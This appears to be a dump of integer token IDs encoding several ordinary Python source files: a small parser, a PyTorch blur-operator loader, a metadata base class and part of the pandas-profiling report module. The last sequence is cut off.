29918,
1202,
654,
29898,
517,
12360,
1125,
13,
1678,
22010,
353,
6088,
29918,
18056,
1414,
29898,
517,
12360,
29897,
13,
1678,
1550,
338,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
2528,
654,
26486,
1125,
13,
4706,
5455,
353,
3544,
29898,
6066,
2528,
654,
26486,
29892,
18897,
29897,
13,
4706,
29365,
353,
6088,
29918,
1202,
654,
29898,
517,
12360,
29897,
13,
4706,
22010,
353,
29479,
10925,
10960,
29898,
6891,
29892,
22010,
29892,
29365,
29897,
13,
1678,
736,
22010,
13,
13,
1753,
6088,
29918,
510,
20941,
29898,
517,
12360,
1125,
13,
1678,
22010,
353,
6088,
29918,
1202,
654,
29898,
517,
12360,
29897,
13,
1678,
1550,
338,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
29902,
484,
29567,
26486,
1125,
13,
4706,
5455,
353,
3544,
29898,
6066,
29902,
484,
29567,
26486,
29892,
18897,
29897,
13,
4706,
29365,
353,
6088,
29918,
510,
20941,
29898,
517,
12360,
29897,
13,
4706,
22010,
353,
29479,
10925,
10960,
29898,
6891,
29892,
22010,
29892,
29365,
29897,
13,
1678,
736,
22010,
13,
13,
1753,
6088,
29918,
13895,
29898,
517,
12360,
1125,
13,
1678,
22010,
353,
6088,
29918,
510,
20941,
29898,
517,
12360,
29897,
13,
1678,
1550,
338,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
6108,
2877,
26486,
1125,
13,
4706,
5455,
353,
3544,
29898,
6066,
6108,
2877,
26486,
29892,
18897,
29897,
13,
4706,
29365,
353,
6088,
29918,
13895,
29898,
517,
12360,
29897,
13,
4706,
22010,
353,
29479,
10925,
10960,
29898,
6891,
29892,
22010,
29892,
29365,
29897,
13,
4706,
2446,
29918,
6979,
353,
1236,
1416,
29898,
517,
12360,
29897,
13,
1678,
736,
22010,
13,
13,
1753,
6088,
29918,
17471,
29898,
517,
12360,
1125,
13,
1678,
736,
6088,
29918,
13895,
29898,
517,
12360,
29897,
13,
13,
1753,
6088,
29918,
2457,
29898,
517,
12360,
1125,
13,
1678,
565,
3544,
29918,
1767,
29898,
6066,
2558,
1742,
29892,
525,
2457,
742,
18897,
1125,
13,
4706,
22010,
353,
6088,
29918,
17471,
29898,
517,
12360,
29897,
13,
4706,
2149,
29898,
6066,
28516,
5283,
265,
29892,
18897,
29897,
13,
4706,
736,
7106,
14473,
29898,
13338,
29897,
13,
13,
1753,
1236,
1416,
29898,
517,
12360,
1125,
13,
1678,
565,
7431,
29898,
517,
12360,
29897,
529,
29871,
29896,
29901,
13,
4706,
736,
6213,
13,
1678,
1683,
29901,
13,
4706,
736,
18897,
29961,
29900,
29962,
13,
13,
1753,
3544,
29898,
17082,
29918,
1853,
29892,
18897,
1125,
13,
1678,
565,
338,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
304,
29895,
29918,
1853,
1125,
13,
4706,
736,
18897,
29889,
7323,
29898,
29900,
29897,
13,
1678,
1683,
29901,
13,
4706,
736,
6213,
13,
13,
1753,
3544,
29918,
1767,
29898,
17082,
29918,
1853,
29892,
304,
29895,
29918,
1767,
29892,
18897,
1125,
13,
1678,
565,
338,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
304,
29895,
29918,
1853,
29897,
322,
1236,
1416,
29898,
517,
12360,
467,
1767,
1275,
304,
29895,
29918,
1767,
29901,
13,
4706,
736,
18897,
29889,
7323,
29898,
29900,
29897,
13,
1678,
1683,
29901,
13,
4706,
736,
6213,
13,
13,
1753,
2149,
29898,
17082,
29892,
18897,
1125,
13,
1678,
1993,
353,
3544,
29898,
17082,
29892,
18897,
29897,
13,
1678,
565,
451,
1993,
29901,
13,
4706,
304,
29895,
29918,
8758,
353,
304,
29895,
580,
13,
4706,
565,
756,
5552,
29898,
17082,
29918,
8758,
29892,
525,
1767,
29374,
13,
9651,
12020,
8960,
703,
1252,
6021,
5993,
426,
29900,
29913,
1642,
4830,
29898,
17082,
29918,
8758,
29889,
1767,
876,
13,
4706,
1683,
29901,
13,
9651,
12020,
8960,
703,
1252,
6021,
5993,
426,
29900,
29913,
1642,
4830,
29898,
17082,
17255,
978,
1649,
876,
13,
1678,
736,
1993,
13,
13,
1753,
6088,
29918,
465,
10194,
29898,
517,
12360,
1125,
13,
1678,
301,
9499,
353,
6088,
29918,
11918,
29898,
517,
12360,
29897,
13,
1678,
565,
301,
9499,
29901,
13,
4706,
565,
338,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
7900,
10194,
26486,
1125,
13,
9651,
1015,
353,
3544,
29898,
6066,
7900,
10194,
26486,
29892,
18897,
29897,
13,
9651,
29365,
353,
6088,
29918,
17471,
29898,
517,
12360,
29897,
13,
9651,
2149,
29898,
6066,
28516,
5283,
265,
29892,
18897,
29897,
13,
9651,
736,
4007,
10194,
14473,
29898,
459,
29892,
301,
9499,
29892,
29365,
29897,
13,
1678,
736,
6213,
13,
13,
1753,
6088,
29918,
11228,
5281,
29918,
465,
10194,
29898,
517,
12360,
1125,
13,
1678,
396,
4386,
2847,
5281,
12827,
3229,
13,
1678,
565,
3544,
29898,
6066,
2558,
1742,
29892,
18897,
1125,
13,
4706,
565,
3544,
29898,
6066,
12889,
29892,
18897,
1125,
13,
9651,
565,
3544,
29898,
6066,
7900,
10194,
26486,
29892,
18897,
1125,
13,
18884,
22010,
353,
6088,
29918,
17471,
29898,
517,
12360,
29897,
13,
18884,
2149,
29898,
6066,
28516,
5283,
265,
29892,
18897,
29897,
13,
18884,
736,
4007,
10194,
14473,
29898,
13338,
29897,
13,
13,
1753,
6088,
29918,
2220,
29918,
4804,
29898,
517,
12360,
1125,
13,
1678,
565,
3544,
29898,
6066,
6585,
2177,
264,
29892,
18897,
1125,
13,
4706,
396,
4386,
740,
1246,
13,
4706,
6389,
353,
5159,
13,
4706,
1550,
451,
3544,
29898,
6066,
11123,
2177,
264,
29892,
18897,
1125,
13,
9651,
6389,
29889,
4397,
29898,
5510,
29918,
2220,
29918,
23516,
29898,
517,
12360,
876,
13,
9651,
2149,
29898,
6066,
28516,
5283,
265,
29892,
18897,
29897,
13,
4706,
736,
8251,
580,
13,
13,
1753,
6088,
29918,
20788,
29898,
517,
12360,
1125,
13,
1678,
396,
3826,
4675,
800,
13,
1678,
396,
938,
263,
29936,
13,
1678,
396,
4007,
10194,
9506,
29901,
13,
1678,
396,
263,
353,
29871,
29896,
29936,
13,
1678,
396,
938,
263,
353,
29871,
29896,
29936,
13,
1678,
396,
7106,
9506,
29901,
13,
1678,
396,
736,
263,
29936,
13,
1678,
396,
736,
263,
718,
29871,
29896,
29936,
13,
1678,
396,
5901,
13553,
9506,
29901,
13,
1678,
396,
2867,
29936,
13,
1678,
396,
6773,
29936,
13,
1678,
396,
1423,
565,
937,
5993,
338,
13553,
470,
15882,
1024,
13,
1678,
380,
4378,
353,
313,
5510,
29918,
2457,
29898,
517,
12360,
29897,
13,
9651,
470,
6088,
29918,
465,
10194,
29898,
517,
12360,
29897,
13,
9651,
470,
6088,
29918,
2344,
29898,
517,
12360,
29897,
13,
9651,
470,
6088,
29918,
4804,
29898,
517,
12360,
876,
13,
13,
1678,
736,
380,
4378,
13,
13,
1753,
6088,
29918,
2220,
29918,
23516,
29898,
517,
12360,
1125,
13,
1678,
396,
947,
451,
4386,
334,
4879,
3447,
13,
1678,
1857,
29918,
6979,
353,
18897,
29889,
7323,
29898,
29900,
29897,
13,
1678,
565,
451,
338,
8758,
29898,
3784,
29918,
6979,
29892,
25159,
2558,
1742,
1125,
13,
4706,
12020,
8960,
703,
1252,
6021,
2980,
1134,
12029,
1159,
13,
13,
1678,
1134,
29918,
978,
353,
1857,
29918,
6979,
13,
13,
1678,
565,
451,
29898,
275,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
12889,
22164,
13,
4706,
12020,
8960,
703,
1252,
6021,
15882,
363,
2980,
1024,
1159,
13,
13,
1678,
1024,
353,
6088,
29918,
11918,
29898,
517,
12360,
29897,
13,
13,
1678,
736,
23125,
29898,
1853,
29918,
978,
29892,
1024,
29897,
13,
13,
1753,
6088,
29918,
2220,
29918,
311,
16544,
362,
29898,
517,
12360,
1125,
13,
1678,
1857,
29918,
6979,
353,
18897,
29889,
7323,
29898,
29900,
29897,
13,
13,
1678,
565,
338,
8758,
29898,
3784,
29918,
6979,
29892,
25159,
2558,
1742,
1125,
13,
4706,
736,
29918,
1853,
353,
1857,
29918,
6979,
13,
1678,
1683,
29901,
13,
4706,
12020,
8960,
703,
1252,
6021,
736,
1134,
12029,
1159,
13,
13,
1678,
1857,
29918,
6979,
353,
18897,
29889,
7323,
29898,
29900,
29897,
13,
1678,
565,
338,
8758,
29898,
3784,
29918,
6979,
29892,
25159,
12889,
1125,
13,
4706,
1024,
353,
1857,
29918,
6979,
13,
1678,
1683,
29901,
13,
4706,
12020,
8960,
703,
1252,
6021,
15882,
363,
740,
1024,
1159,
13,
13,
1678,
1857,
29918,
6979,
353,
18897,
29889,
7323,
29898,
29900,
29897,
13,
1678,
6389,
353,
5159,
13,
1678,
565,
338,
8758,
29898,
3784,
29918,
6979,
29892,
25159,
6585,
2177,
264,
1125,
13,
4706,
1550,
451,
338,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
11123,
2177,
264,
1125,
13,
9651,
6389,
29889,
4397,
29898,
5510,
29918,
2220,
29918,
23516,
29898,
517,
12360,
876,
13,
1678,
1683,
29901,
13,
4706,
12020,
8960,
703,
1252,
6021,
5993,
313,
1159,
13,
13,
1678,
18897,
29889,
7323,
29898,
29900,
29897,
396,
2381,
9536,
1723,
13,
1678,
9506,
353,
5159,
13,
1678,
1857,
29918,
6979,
353,
18897,
29889,
7323,
29898,
29900,
29897,
396,
881,
367,
426,
13,
1678,
565,
338,
8758,
29898,
3784,
29918,
6979,
29892,
25159,
6585,
29933,
25525,
1125,
13,
4706,
1550,
451,
338,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
11123,
29933,
25525,
1125,
13,
9651,
9506,
29889,
4397,
29898,
5510,
29918,
20788,
29898,
517,
12360,
876,
13,
1678,
1683,
29901,
13,
4706,
12020,
8960,
703,
1252,
6021,
5993,
426,
1159,
13,
13,
1678,
736,
6680,
29898,
2457,
29918,
1853,
29892,
1024,
29892,
6389,
29892,
9506,
29897,
13,
13,
13,
1753,
6088,
29898,
517,
12360,
1125,
13,
1678,
3168,
353,
5159,
13,
1678,
1550,
7431,
29898,
517,
12360,
29897,
1405,
29871,
29900,
29901,
13,
4706,
3168,
29889,
4397,
29898,
5510,
29918,
2220,
29898,
517,
12360,
876,
13,
13,
1678,
736,
7835,
29898,
12171,
29897,
13,
2
] |
forward_radial_dist.py | theophil-trippe/HDC_TUBerlin_version_1 | 2 | 192684 | <gh_stars>1-10
import torch.cuda
from networks import BlurOp
from data_transforms import *
from os.path import join
from config import RESULTS_PATH, WEIGHTS_PATH
def get_fwd_op(step, kernel_size=701):
network = BlurOp
# model_weights_part = join("results/BlurOp/v1/step_{:02d}".format(step), "kernel_size_{:03d}".format(kernel_size),
# "model_weights_epoch{:03d}.pt".format(epoch))
model_weights_part = join(WEIGHTS_PATH, "step_{:02d}".format(step),
"forward_weights_step_{:02d}.pt".format(step))
if torch.cuda.is_available():
weights = torch.load(model_weights_part)
else:
weights = torch.load(model_weights_part, map_location=torch.device("cpu"))
network_params = {
"kernel_size": kernel_size,
"inp_size": 2360,
"rd_fac": 1e-3
}
fwd_net = network(**network_params)
fwd_net.load_state_dict(weights)
fwd_net.freeze()
return fwd_net
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
5215,
4842,
305,
29889,
29883,
6191,
13,
3166,
14379,
1053,
3164,
332,
11746,
13,
3166,
848,
29918,
9067,
29879,
1053,
334,
13,
3166,
2897,
29889,
2084,
1053,
5988,
13,
3166,
2295,
1053,
390,
2890,
8647,
29903,
29918,
10145,
29892,
399,
29923,
22530,
29903,
29918,
10145,
13,
13,
13,
1753,
679,
29918,
29888,
9970,
29918,
459,
29898,
10568,
29892,
8466,
29918,
2311,
29922,
29955,
29900,
29896,
1125,
13,
1678,
3564,
353,
3164,
332,
11746,
13,
1678,
396,
1904,
29918,
705,
5861,
29918,
1595,
353,
5988,
703,
9902,
29914,
10358,
332,
11746,
29914,
29894,
29896,
29914,
10568,
648,
29901,
29900,
29906,
29881,
29913,
1642,
4830,
29898,
10568,
511,
376,
17460,
29918,
2311,
648,
29901,
29900,
29941,
29881,
29913,
1642,
4830,
29898,
17460,
29918,
2311,
511,
13,
1678,
396,
462,
965,
376,
4299,
29918,
705,
5861,
29918,
1022,
2878,
25641,
29900,
29941,
29881,
1836,
415,
1642,
4830,
29898,
1022,
2878,
876,
13,
1678,
1904,
29918,
705,
5861,
29918,
1595,
353,
5988,
29898,
8851,
22530,
29903,
29918,
10145,
29892,
376,
10568,
648,
29901,
29900,
29906,
29881,
29913,
1642,
4830,
29898,
10568,
511,
13,
462,
795,
376,
11333,
29918,
705,
5861,
29918,
10568,
648,
29901,
29900,
29906,
29881,
1836,
415,
1642,
4830,
29898,
10568,
876,
13,
1678,
565,
4842,
305,
29889,
29883,
6191,
29889,
275,
29918,
16515,
7295,
13,
4706,
18177,
353,
4842,
305,
29889,
1359,
29898,
4299,
29918,
705,
5861,
29918,
1595,
29897,
13,
1678,
1683,
29901,
13,
4706,
18177,
353,
4842,
305,
29889,
1359,
29898,
4299,
29918,
705,
5861,
29918,
1595,
29892,
2910,
29918,
5479,
29922,
7345,
305,
29889,
10141,
703,
21970,
5783,
13,
1678,
3564,
29918,
7529,
353,
426,
13,
4706,
376,
17460,
29918,
2311,
1115,
8466,
29918,
2311,
29892,
13,
4706,
376,
262,
29886,
29918,
2311,
1115,
29871,
29906,
29941,
29953,
29900,
29892,
13,
4706,
376,
5499,
29918,
17470,
1115,
29871,
29896,
29872,
29899,
29941,
13,
1678,
500,
13,
13,
1678,
285,
9970,
29918,
1212,
353,
3564,
29898,
1068,
11618,
29918,
7529,
29897,
13,
1678,
285,
9970,
29918,
1212,
29889,
1359,
29918,
3859,
29918,
8977,
29898,
705,
5861,
29897,
13,
1678,
285,
9970,
29918,
1212,
29889,
9021,
911,
580,
13,
1678,
736,
285,
9970,
29918,
1212,
13,
2
] |
wis2box/metadata/base.py | webb-ben/wis2node | 7 | 29766 | <reponame>webb-ben/wis2node
###############################################################################
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
###############################################################################
import logging
from typing import Union
from pygeometa.core import read_mcf
LOGGER = logging.getLogger(__name__)
class BaseMetadata:
"""base metadata"""
def __init__(self):
pass
def generate(self, mcf: dict, schema: str = None) -> Union[dict, str]:
"""
Generate metadata in a given schema
:param mcf: `dict` of MCF file
:param schema: `str` of metadata schema to generate
:returns: `dict` or `str` of metadata representation
"""
raise NotImplementedError()
def parse_record(self, metadata_record: bytes) -> dict:
"""
Parses MCF metadata into dict
:param metadata_record: string of metadata
:return: `dict` of MCF
"""
LOGGER.debug('reading MCF')
return read_mcf(metadata_record)
| [
1,
529,
276,
1112,
420,
29958,
705,
1327,
29899,
1785,
29914,
29893,
275,
29906,
3177,
13,
13383,
13383,
13383,
13383,
7346,
4136,
2277,
29937,
13,
29937,
13,
29937,
10413,
21144,
304,
278,
13380,
18540,
10606,
313,
3289,
29943,
29897,
1090,
697,
13,
29937,
470,
901,
17737,
3406,
19405,
8571,
4110,
29889,
29871,
2823,
278,
6058,
12107,
934,
13,
29937,
13235,
411,
445,
664,
363,
5684,
2472,
13,
29937,
11211,
3509,
1266,
27428,
29889,
29871,
450,
3339,
29943,
7794,
11259,
445,
934,
13,
29937,
304,
366,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
13,
29937,
376,
29931,
293,
1947,
1496,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
13,
29937,
411,
278,
19245,
29889,
29871,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
259,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
13,
29937,
7047,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
13,
29937,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
13,
29937,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
29871,
2823,
278,
19245,
363,
278,
13,
29937,
2702,
4086,
14765,
1076,
11239,
322,
27028,
13,
29937,
1090,
278,
19245,
29889,
13,
29937,
13,
13383,
13383,
13383,
13383,
7346,
4136,
2277,
29937,
13,
13,
5215,
12183,
13,
3166,
19229,
1053,
7761,
13,
13,
3166,
11451,
479,
290,
1187,
29889,
3221,
1053,
1303,
29918,
29885,
6854,
13,
13,
14480,
17070,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
13,
13,
1990,
7399,
18417,
29901,
13,
1678,
9995,
3188,
15562,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1209,
13,
13,
1678,
822,
5706,
29898,
1311,
29892,
286,
6854,
29901,
9657,
29892,
10938,
29901,
851,
353,
6213,
29897,
1599,
7761,
29961,
8977,
29892,
851,
5387,
13,
4706,
9995,
13,
4706,
3251,
403,
15562,
297,
263,
2183,
10938,
13,
13,
4706,
584,
3207,
286,
6854,
29901,
421,
8977,
29952,
310,
341,
9207,
934,
13,
4706,
584,
3207,
10938,
29901,
421,
710,
29952,
310,
15562,
10938,
304,
5706,
13,
13,
4706,
584,
18280,
29901,
421,
8977,
29952,
470,
421,
710,
29952,
310,
15562,
8954,
13,
4706,
9995,
13,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
580,
13,
13,
1678,
822,
6088,
29918,
11651,
29898,
1311,
29892,
15562,
29918,
11651,
29901,
6262,
29897,
1599,
9657,
29901,
13,
4706,
9995,
13,
4706,
1459,
29879,
267,
341,
9207,
15562,
964,
9657,
13,
13,
4706,
584,
3207,
15562,
29918,
11651,
29901,
1347,
310,
15562,
13,
13,
4706,
584,
2457,
29901,
421,
8977,
29952,
310,
341,
9207,
13,
4706,
9995,
13,
13,
4706,
25401,
17070,
29889,
8382,
877,
19715,
341,
9207,
1495,
13,
4706,
736,
1303,
29918,
29885,
6854,
29898,
19635,
29918,
11651,
29897,
13,
2
] |
src/pandas_profiling/__init__.py | AllanLRH/pandas-profiling | 1 | 153307 | """Main module of pandas-profiling.
.. include:: ../../README.md
"""
import json
from pathlib import Path
from datetime import datetime
import pandas as pd
import numpy as np
from tqdm.auto import tqdm
from pandas_profiling.model.messages import MessageType
from pandas_profiling.version import __version__
from pandas_profiling.utils.dataframe import rename_index
from pandas_profiling.utils.paths import get_config_default, get_config_minimal
from pandas_profiling.config import config
from pandas_profiling.controller import pandas_decorator
from pandas_profiling.model.describe import describe as describe_df
from pandas_profiling.model.messages import MessageType
from pandas_profiling.report import get_report_structure
class ProfileReport(object):
"""Generate a profile report from a Dataset stored as a pandas `DataFrame`.
Used has is it will output its content as an HTML report in a Jupyter notebook.
"""
html = ""
"""the HTML representation of the report, without the wrapper (containing `<head>` etc.)"""
def __init__(self, df, minimal=False, config_file: Path = None, **kwargs):
if config_file is not None and minimal:
raise ValueError(
"Arguments `config_file` and `minimal` are mutually exclusive."
)
if minimal:
config_file = get_config_minimal()
if config_file:
config.set_file(str(config_file))
config.set_kwargs(kwargs)
self.date_start = datetime.utcnow()
# Treat index as any other column
if (
not pd.Index(np.arange(0, len(df))).equals(df.index)
or df.index.dtype != np.int64
):
df = df.reset_index()
# Rename reserved column names
df = rename_index(df)
# Ensure that columns are strings
df.columns = df.columns.astype("str")
# Get dataset statistics
description_set = describe_df(df)
# Build report structure
self.sample = self.get_sample(df)
self.title = config["title"].get(str)
self.description_set = description_set
self.date_end = datetime.utcnow()
disable_progress_bar = not config["progress_bar"].get(bool)
with tqdm(
total=1, desc="build report structure", disable=disable_progress_bar
) as pbar:
self.report = get_report_structure(
self.date_start, self.date_end, self.sample, description_set
)
pbar.update()
def get_sample(self, df: pd.DataFrame) -> dict:
"""Get head/tail samples based on the configuration
Args:
df: the DataFrame to sample from.
Returns:
A dict with the head and tail samples.
"""
sample = {}
n_head = config["samples"]["head"].get(int)
if n_head > 0:
sample["head"] = df.head(n=n_head)
n_tail = config["samples"]["tail"].get(int)
if n_tail > 0:
sample["tail"] = df.tail(n=n_tail)
return sample
def get_description(self) -> dict:
"""Return the description (a raw statistical summary) of the dataset.
Returns:
Dict containing a description for each variable in the DataFrame.
"""
return self.description_set
def get_rejected_variables(self) -> set:
"""Get variables that are rejected for analysis (e.g. constant, mixed data types)
Returns:
a set of column names that are unsupported
"""
return {
message.column_name
for message in self.description_set["messages"]
if message.message_type == MessageType.REJECTED
}
def to_file(self, output_file: Path, silent: bool = True) -> None:
"""Write the report to a file.
By default a name is generated.
Args:
output_file: The name or the path of the file to generate including the extension (.html, .json).
silent: if False, opens the file in the default browser
"""
if not isinstance(output_file, Path):
output_file = Path(str(output_file))
if output_file.suffix == ".html":
data = self.to_html()
elif output_file.suffix == ".json":
data = self.to_json()
else:
raise ValueError("Extension not supported (please use .html, .json)")
with output_file.open("w", encoding="utf8") as f:
f.write(data)
if not silent:
import webbrowser
webbrowser.open_new_tab(output_file.absolute().as_uri())
def to_html(self) -> str:
"""Generate and return complete template as lengthy string
for using with frameworks.
Returns:
Profiling report html including wrapper.
"""
from pandas_profiling.report.presentation.flavours import HTMLReport
from pandas_profiling.report.presentation.flavours.html import templates
use_local_assets = config["html"]["use_local_assets"].get(bool)
html = HTMLReport(self.report).render()
nav_items = [
(section.name, section.anchor_id)
for section in self.report.content["items"]
]
# TODO: move to structure
wrapped_html = templates.template("wrapper/wrapper.html").render(
content=html,
title=self.title,
nav=config["html"]["navbar_show"].get(bool),
nav_items=nav_items,
version=__version__,
offline=use_local_assets,
primary_color=config["html"]["style"]["primary_color"].get(str),
logo=config["html"]["style"]["logo"].get(str),
theme=config["html"]["style"]["theme"].get(str),
)
minify_html = config["html"]["minify_html"].get(bool)
if minify_html:
from htmlmin.main import minify
wrapped_html = minify(
wrapped_html, remove_all_empty_space=True, remove_comments=True
)
return wrapped_html
def to_json(self) -> str:
class CustomEncoder(json.JSONEncoder):
def default(self, o):
name = o.__class__.__name__
if isinstance(o, pd.core.series.Series) or isinstance(
o, pd.core.frame.DataFrame
):
return {f"__{name}__": o.to_json()}
if isinstance(o, np.integer):
return {f"__{name}__": o.tolist()}
return {f"__{name}__": str(o)}
return json.dumps(self.description_set, indent=4, cls=CustomEncoder)
def to_notebook_iframe(self):
"""Used to output the HTML representation to a Jupyter notebook.
When config.notebook.iframe.attribute is "src", this function creates a temporary HTML file
in `./tmp/profile_[hash].html` and returns an Iframe pointing to that contents.
When config.notebook.iframe.attribute is "srcdoc", the same HTML is injected in the "srcdoc" attribute of
the Iframe.
Notes:
This constructions solves problems with conflicting stylesheets and navigation links.
"""
from pandas_profiling.report.presentation.flavours.widget.notebook import (
get_notebook_iframe,
)
from IPython.core.display import display
display(get_notebook_iframe(self))
def to_widgets(self):
"""The ipython notebook widgets user interface."""
from pandas_profiling.report.presentation.flavours import WidgetReport
from IPython.core.display import display, HTML
report = WidgetReport(self.report).render()
display(report)
# TODO: move to report structure
display(
HTML(
'Report generated with <a href="https://github.com/pandas-profiling/pandas-profiling">pandas-profiling</a>.'
)
)
def _repr_html_(self):
"""The ipython notebook widgets user interface gets called by the jupyter notebook."""
self.to_notebook_iframe()
def __repr__(self):
"""Override so that Jupyter Notebook does not print the object."""
return ""
def to_app(self):
"""
(Experimental) PyQt5 user interface, not ready to be used.
You are welcome to contribute a pull request if you like this feature.
"""
from pandas_profiling.report.presentation.flavours.qt.app import get_app
from pandas_profiling.report.presentation.flavours import QtReport
from PyQt5 import QtCore
from PyQt5.QtWidgets import QApplication
app = QtCore.QCoreApplication.instance()
if app is None:
app = QApplication([])
app_widgets = QtReport(self.report).render()
app = get_app(app, self.title, app_widgets)
| [
1,
9995,
6330,
3883,
310,
11701,
29899,
771,
1777,
292,
29889,
13,
13,
636,
3160,
1057,
29772,
6995,
16310,
2303,
29889,
3487,
13,
15945,
29908,
13,
5215,
4390,
13,
3166,
2224,
1982,
1053,
10802,
13,
3166,
12865,
1053,
12865,
13,
13,
5215,
11701,
408,
10518,
13,
5215,
12655,
408,
7442,
13,
3166,
260,
29939,
18933,
29889,
6921,
1053,
260,
29939,
18933,
13,
13,
3166,
11701,
29918,
771,
1777,
292,
29889,
4299,
29889,
19158,
1053,
7777,
1542,
13,
3166,
11701,
29918,
771,
1777,
292,
29889,
3259,
1053,
4770,
3259,
1649,
13,
3166,
11701,
29918,
771,
1777,
292,
29889,
13239,
29889,
1272,
2557,
1053,
19508,
29918,
2248,
13,
3166,
11701,
29918,
771,
1777,
292,
29889,
13239,
29889,
24772,
1053,
679,
29918,
2917,
29918,
4381,
29892,
679,
29918,
2917,
29918,
1195,
3039,
13,
3166,
11701,
29918,
771,
1777,
292,
29889,
2917,
1053,
2295,
13,
3166,
11701,
29918,
771,
1777,
292,
29889,
8299,
1053,
11701,
29918,
19557,
1061,
13,
3166,
11701,
29918,
771,
1777,
292,
29889,
4299,
29889,
2783,
29581,
1053,
8453,
408,
8453,
29918,
2176,
13,
3166,
11701,
29918,
771,
1777,
292,
29889,
4299,
29889,
19158,
1053,
7777,
1542,
13,
3166,
11701,
29918,
771,
1777,
292,
29889,
12276,
1053,
679,
29918,
12276,
29918,
23905,
13,
13,
13,
1990,
20802,
13020,
29898,
3318,
1125,
13,
1678,
9995,
5631,
403,
263,
8722,
3461,
515,
263,
13373,
24541,
6087,
408,
263,
11701,
421,
17271,
1412,
13,
268,
13,
1678,
501,
8485,
756,
338,
372,
674,
1962,
967,
2793,
408,
385,
4544,
3461,
297,
263,
27441,
25547,
451,
19273,
29889,
13,
1678,
9995,
13,
13,
1678,
3472,
353,
5124,
13,
1678,
9995,
1552,
4544,
8954,
310,
278,
3461,
29892,
1728,
278,
14476,
313,
1285,
17225,
14935,
2813,
13885,
2992,
1846,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4489,
29892,
13114,
29922,
8824,
29892,
2295,
29918,
1445,
29901,
10802,
353,
6213,
29892,
3579,
19290,
1125,
13,
4706,
565,
2295,
29918,
1445,
338,
451,
6213,
322,
13114,
29901,
13,
9651,
12020,
7865,
2392,
29898,
13,
18884,
376,
26915,
421,
2917,
29918,
1445,
29952,
322,
421,
1195,
3039,
29952,
526,
5478,
1474,
29192,
1213,
13,
9651,
1723,
13,
13,
4706,
565,
13114,
29901,
13,
9651,
2295,
29918,
1445,
353,
679,
29918,
2917,
29918,
1195,
3039,
580,
13,
13,
4706,
565,
2295,
29918,
1445,
29901,
13,
9651,
2295,
29889,
842,
29918,
1445,
29898,
710,
29898,
2917,
29918,
1445,
876,
13,
4706,
2295,
29889,
842,
29918,
19290,
29898,
19290,
29897,
13,
13,
4706,
1583,
29889,
1256,
29918,
2962,
353,
12865,
29889,
329,
29883,
3707,
580,
13,
13,
4706,
396,
6479,
271,
2380,
408,
738,
916,
1897,
13,
4706,
565,
313,
13,
9651,
451,
10518,
29889,
3220,
29898,
9302,
29889,
279,
927,
29898,
29900,
29892,
7431,
29898,
2176,
876,
467,
10954,
29898,
2176,
29889,
2248,
29897,
13,
9651,
470,
4489,
29889,
2248,
29889,
29881,
1853,
2804,
7442,
29889,
524,
29953,
29946,
13,
308,
1125,
13,
9651,
4489,
353,
4489,
29889,
12071,
29918,
2248,
580,
13,
13,
4706,
396,
390,
3871,
21676,
1897,
2983,
13,
4706,
4489,
353,
19508,
29918,
2248,
29898,
2176,
29897,
13,
13,
4706,
396,
22521,
545,
393,
4341,
526,
6031,
13,
4706,
4489,
29889,
13099,
353,
4489,
29889,
13099,
29889,
579,
668,
703,
710,
1159,
13,
13,
4706,
396,
3617,
8783,
13964,
13,
4706,
6139,
29918,
842,
353,
8453,
29918,
2176,
29898,
2176,
29897,
13,
13,
4706,
396,
8878,
3461,
3829,
13,
4706,
1583,
29889,
11249,
353,
1583,
29889,
657,
29918,
11249,
29898,
2176,
29897,
13,
4706,
1583,
29889,
3257,
353,
2295,
3366,
3257,
16862,
657,
29898,
710,
29897,
13,
4706,
1583,
29889,
8216,
29918,
842,
353,
6139,
29918,
842,
13,
4706,
1583,
29889,
1256,
29918,
355,
353,
12865,
29889,
329,
29883,
3707,
580,
13,
13,
4706,
11262,
29918,
18035,
29918,
1646,
353,
451,
2295,
3366,
18035,
29918,
1646,
16862,
657,
29898,
11227,
29897,
13,
13,
4706,
411,
260,
29939,
18933,
29898,
13,
9651,
3001,
29922,
29896,
29892,
5153,
543,
4282,
3461,
3829,
613,
11262,
29922,
20472,
29918,
18035,
29918,
1646,
13,
4706,
1723,
408,
282,
1646,
29901,
13,
9651,
1583,
29889,
12276,
353,
679,
29918,
12276,
29918,
23905,
